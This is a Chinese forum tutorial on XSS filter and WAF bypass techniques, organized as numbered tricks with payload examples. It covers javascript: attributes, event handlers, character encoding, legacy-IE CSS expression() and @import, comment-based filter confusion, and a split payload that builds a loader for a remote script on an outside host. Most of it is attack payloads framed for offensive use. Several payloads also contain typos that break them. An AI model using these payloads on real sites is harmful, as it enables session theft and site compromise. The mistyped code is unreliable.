xss绕waf几种姿势剖析

beize   ·   发表于 2021-11-13 23:26:44   ·   技术文章

xss攻击是网页中嵌入客户端恶意脚本,而我们要进行xss攻击时可以选择使用的语言有javascript,actionscript,vbscript等。在这些语言中最常用的就是javascrtip。
我们针对xss的检测手段分为两种:
1、手工检测:精准但是较为困难
2、软件自动检测:方便但是会有误报,且对一些较为隐蔽的xss无法检测
两种检测手段各有优劣,但是我们如果直接使用xss工具的话在进行小的网站测试时有一定几率会把该网站跑崩,所以这里更多时候我们是通过手工先进行检测,观察是存在漏洞,然后再选择是否使用工具。(这这里建议新手不要考虑过多的使用工具,如果过度的依赖工具对自己的技术成长不会有太大帮助)
在手工检测是否存在xss漏洞时,最重要的是考虑那里有输入,输入的数据是在什么地方进行输出。因此这里就涉及到两种情况:
1、输入的数据可知输出位置
输入敏感字符,查看HTML页面源代码,看输入的字符是否被转义
2、无法得知输出的位置
大多数web应用程序源代码是不对外公开的,因此测试xss是就无法得找数据在何处显示

xss攻击不单单只是进行弹窗,弹窗只不过是对漏洞的检测,xss的利用方式有很多:
1、盗取用户的cookie
2、修改网页内容
3、网站挂马
4、利用页面重定向
5、xss蠕虫
上面的这些攻击手段后续会进行详细的介绍,这这篇文章主要是讲的是关于绕waf的一些思路

web应用程序对xss攻击拦截大多是对输入的数据进行过滤,但是它既然能够过滤,那么我们就能够绕过。目前市面上的waf大多是使用黑名单的形式对xss等攻击进行拦截,事实上sql注入也大多是这样的。
1)利用标记注射html/javascript
<script>alert(1)</script>是最经典的xss语句(事实上这个弹窗语句已经广为流传了,但是实际上在进行渗透测试的时候我们还是能够找到一些网站能够成功使用该代码进行攻击的),其能引起弹窗的原因是用户可以随性所欲的引用等标签导致的,因此我们基于对这种攻击手段的分析将这些特殊字符进行过滤————黑名单过滤
2)利用html标签属性执行xss
若是我们无法在HTML中构造xss,但是我们还是能够通过其他形式来执行xss,而这种方法需要基于javascript:[code]伪协议来进行的:
javascript:[code]伪协议:声明url主体是任意的javascript代码,由js解释器运行
示例:
<table background=“javascript:alert(1)”></table>
注意:
不是所有的web浏览器都支持javascript伪协议
不是所有的标记属性都能产生xss,通常只有引用文件的属性才能,例如:href、lowsrc、bgsound、background、value、action、dynsrc
3)回车、空格、tab绕过——-关键字拆分
该绕过方式原因:js引擎没有把换行符解释为语句的终止符,因为到换行出并不是一个完整语句,js会继续处理发现的内容,直到遇到一个分号或者语句完整为止。
js语句通常是以分号结尾,引擎对语句是否结束有两种判断方式
1、若js引擎确定一个语句是完整的,而这一行有换行符,则可以省略分号:
var a=true
var b=false
2、一行中有多行语句,则每个语句就要以分号结束
var a=true; var b=false;

js引擎在除了引号中分隔单词或强制结束语句之外,额外的空白,无论以何种方式添加都无所谓。
var a
=’helo world’
alert(1);
基于这种性质我们能发现一种新的绕过方式:
<img src="javas cript: alert(1)">

4)产生自己的事件
若用户不能依靠属性进行跨站,我们还有没有其他方法?这肯定是有的
我们都知道,js与html之间的交互是通过事件来实现的,事件就是用户/浏览器自身执行的某种动作,例如:click、mouseover、load等,而响应事件的函数叫做事件处理函数(事件侦听器)
示例:
<input type="button" value="click me" onclick="alert(1)" />

事件能够说明用户何时做了某件事,何时加载完毕,在w3c中将事件分为3种不同类别:
1、用户接口(鼠标、键盘)
2、逻辑(处理的结果)
3、变化(对文档进行修改)
5)对标签/属性值进行转码
html本身是支持ascll编码形势的,因此我们可以对我们的代码进行ascll编码进行绕过
tab:&#9 换行符:&#10 回车:&#13
6)利用css跨站剖析
这种攻击方式的 是css样式表
特点:隐蔽,灵活,多变等特点
缺点:各个浏览器之间不能通用,甚至可能同一浏览器不同版本之间都无法通用
原因:css属性后为一段js表达式,则其值等于js表达式计算的结果
示例:
<div style="background-image:url(javascript:alert(1);)">

<style>
    body{background-image:url(javascript:alert(1);)}
</style>

在IE5及其以后的版本都支持css中使用expression,而使用expression一样可以触发xss漏洞
示例:
<img src="#" style="expression(alert(1))">

<style>
    body{background-image:expression(alert(1));}
</style>

expression的作用是把css属性与javascript表达式关联起来。
css属性可以是元素固有的属性,也可以是自定义的属性,若果css属性后面为一段javascript表达式,则其值等于javascript表达式计算的结果
在使用css作为xss载体都有一个共同点:代码嵌入到style标签/属性中,但是若应用程序禁用style,我们该怎么办?
我们还能利用部分html标签的style属性值执行代码,且style属性可和任意字符结合
示例:
<img style="background-image:url(javascruot:alert(1)">
上面的示例等于<img scr="javascript:alert(1)">

此外,css样式表不需要嵌入到html代码中,它能从其他文件甚至是不同的目标机器上进行引用,例如:
<link>引用css
http://xx/1.css 1.css为攻击者上传的css文件,代码如下:
p{
background-image:expression(alert(1));
}
目标网站的xss Expliot(利用)如下:
<limk rel="stylesheet" href="http://xx/1.css">

网页引用css还可以利用@import将其导入:
示例
http:??xx/1.css 1.css构造如下:
.showcss{
event:expression(
onload=function()
{
alert(1);
})}

<style type=“text/css”>@import url(http://xx/1.css);</style>

@import还有一个特性,能够直接执行javascript代码:
示例:

<style>
    @import ‘javascript:alert(1);’
</style>

7)扰乱过滤规则
1.使用/代替空格(在IE6中可以执行)
<style type=“text/css”>@import url(http://xx/1.css);</style>

2、利用expression执行跨站代码是,可以通过构造不同全角的代码来扰乱过滤规则
<xss STYLE="xss:exprEssion(alert(1))">
3、样式表中//会被浏览器忽略
<div style=”wid/**/th:expre/xss/ssion(alert(1));”>

4、\和也是被忽略的
@im\port”ja\vasc\ript:alert(1);”
5、css中的关键字进行编码处理、包括改变编码中0的数量 \65=>e
<p style="\65xpresssion(alert(1))">
<p style="065xpresssion(alert(1))">
6、目前大多数过滤都是采用黑名单过滤,用户可以结合使用注释字符干扰和欺骗过滤器
<scrScriptipt>alert(1)</script>
<img scr="java/*script:alert(1);"*/<img src="javaa*/script:alert(1);">

我们还能够针对不同浏览器之间存在的差异,来绕过。不同浏览器的差异主要体现在对html渲染,js的解释以及对css的支持上。
1、利用浏览器解析html注释问题
<!--<img src="--><img src=x onerror=alert(1)//“>

2、与上例一样但是只支持IE系列的浏览器
<comment><img scr=</style><img src=x onerror==alert(1)//“>
由此可见扰乱过滤规则的方式千变万化、灵活多变,用户可以通过各种技巧去突破过滤系统
8)字符编码
字符编码在xss和sql中都是经常用到的,这种技巧不仅能让xss代码绕过服务器端的过滤,还能更好的隐藏
在前文提到,html标签中的某些属性值可以通过&#,ascii方式进行编码,这种xss转码支持十进制和十六进制两种形式
十进制转码将需要转码的代码转为数字后在每一个代表字母的数字前面加上&#, j=>&#106(这里纯粹是我懒了,不想打了),在这里实际上我们还可以在#后面加上随机数量的0来进行一些过滤的绕过。
十六进制需要结合eval()函数(可计算字符串),在使用的时候我们可以通过使用\连接十六进制字符串,然后eval函数执行字符串形式的脚本
若是需要使用eval()执行10进制脚本,则需要配合string.fromchharcode()进行使用,string.fromchharcode()用于将字符转为ascll值
<img src="eval(alert('xss'))">
<img src="eval(stringw.fromchharcode(97,108,101,114,116,40,39,88,83,83,39,41))">
此外样式表和background也支持\连接的十六进制字符串形式。
javascript支持unicode、escapes,十六进制、八进制等编码形式
在Microsoft提供了脚本加密(script encoder)机制,可以对脚本进行加密,包括jscript和vbscript,经过加密脚本,能在IE下正常运行,在其他浏览器下则不识别
JScript Encode加密和VBscript加密。
9)拆分跨站法
写到这里就不得不提到剑心发布的一篇文章《疯狂的跨站之行》,在里面讲述到一种特别的xss利用技巧,就是在应用程序没有过滤关键字符()却对字符长度有限制的情况下,如何使用“拆分法”执行跨站脚本代码。
剑心在留言处发现是有字符长度限制为30,若果我们提交一个完整的xss语句也就说这里就只能用来弹出一个对话框,那这里的漏洞就不是我们想要的。但是在测试后发现在这里是能够进行重复留言。在这里我们可以进行一个思考,留言肯定是会和数据库进行交互的,那我们是否可以通过设置一个变量通过不断的赋值从而的打入一个我们需要的超过30字符长度的xss代码呢?事实上是可以的。
示例:
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
<script>z=z+’src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval(z)</script>
上面代码就等于:dacument.write(‘<script src=http://www.shell.net/1.js></script>script>’)
因此我们这里就能得出拆分法跨站的核心:把跨站代码拆分成几个片段,然后再使用某种方式将其拼凑在一起执行。

用户名金币积分时间理由
Track-劲夫 40.00 0 2021-11-30 15:03:15 一个受益终生的帖子~~

打赏我,让我更有动力~

0 条回复   |  直到 2021-11-18 | 1390 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.